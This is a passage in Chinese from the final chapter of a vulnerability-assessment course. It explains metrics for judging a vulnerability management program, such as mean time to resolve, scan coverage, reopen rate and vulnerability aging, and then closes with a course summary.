尽快发现漏洞很重要,同样重要的是尽快修复或减轻已识别的漏洞。漏洞开放的时间越长,攻击者就越有机会利用。解决平均时间是考虑在漏洞被识别后,修复任何给定漏洞所需的平均时间间隔的度量标准。这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度小。

扫描覆盖率

即使一个组织已经建立了健全的漏洞管理程序并配备了良好的扫描工具,了解所有资产是否都被扫描也很重要。扫描覆盖率度量标准衡量了组织中所有已知资产与实际被扫描的资产之间的比率。资产可以是基础设施组件,如操作系统、数据库等,也可以是应用程序代码块。这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度大。

按资产组的扫描频率

许多漏洞管理程序是基于一些合规需求而制定和推动的。一些合规标准可能要求资产每年进行一次扫描,而其他标准甚至可能要求每季度进行扫描。这个度量标准展示了各种资产组的扫描频率。

开放的关键/高严重漏洞数量

并非每个漏洞的严重程度都相同。漏洞通常分为关键、高、中、低和信息性等各种类别。然而,具有关键和高严重程度的漏洞需要优先处理。这个度量标准快速概述了组织内所有开放的关键和高严重漏洞。这有助于管理层优先处理漏洞。这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度小。

按业务单位、资产组等的平均风险

每个组织都包括不同的业务单位。这个度量标准突出了基于业务单位分类的平均风险。一些业务单位可能存在最少的开放风险,而其他可能存在多个需要优先关注的开放风险。

已批准的异常数量

虽然在将任何系统投入生产之前修复所有漏洞是好的,但也会有例外情况。业务始终是优先考虑的,信息安全必须始终与业务目标保持一致和支持。因此,可能会出现这样的情况,由于一些紧急的业务优先事项,系统在生产中以安全例外的方式投入使用。因此,非常重要的是跟踪这些例外情况,并确保它们按计划进行修复。已授予的例外数量指标有助于跟踪未被减轻和已授予例外的漏洞数量。从审计的角度来看,跟踪这个指标是很重要的。这个指标的数据可以按季度发布和比较,每个季度的值理想情况下都应该比上一个季度小。

漏洞重新开放率

漏洞重新开放率指标有助于衡量修复过程的有效性。一旦漏洞被修复,它不应该在随后的任何扫描中再次出现。如果即使在修复后仍然出现,这表明修复过程失败了。较高的漏洞重新开放率将表明打补丁的过程存在缺陷。这个指标的数据可以按季度发布和比较,每个季度的值理想情况下都应该比上一个季度小。

没有未解决高/严重漏洞的系统百分比

在本章的早些时候,我们已经看到了不同类型的报告。执行报告是为组织内部对关心关键和高严重性漏洞状态的高层管理人员准备的。

这个指标表示已经修复或减轻了关键和高严重漏洞的总系统百分比。这可以增强对组织整体减轻策略的信心。

漏洞老化

组织中典型的漏洞管理政策规定了识别漏洞必须被修复或减轻的时间。理想情况下,政策中规定的漏洞修复时间必须严格遵守。然而,可能会有例外情况,漏洞的减轻可能已经超过了截止日期。这个指标试图识别已经超过减轻截止日期的漏洞。这些漏洞可能需要优先关注。

总结

在本章中,我们学习了有效报告的重要性以及一些有用的报告工具。我们还概述了衡量漏洞管理计划成功的各种关键指标。

这一章基本上总结了课程。我们已经走过了很长的路,从绝对的安全基础开始,建立评估环境,经历了漏洞评估的各个阶段,然后涵盖了一些重要的程序方面,如漏洞评分、威胁建模、打补丁、报告和指标。

感谢参加本课程,希望它为整个漏洞评估过程提供了必要的见解。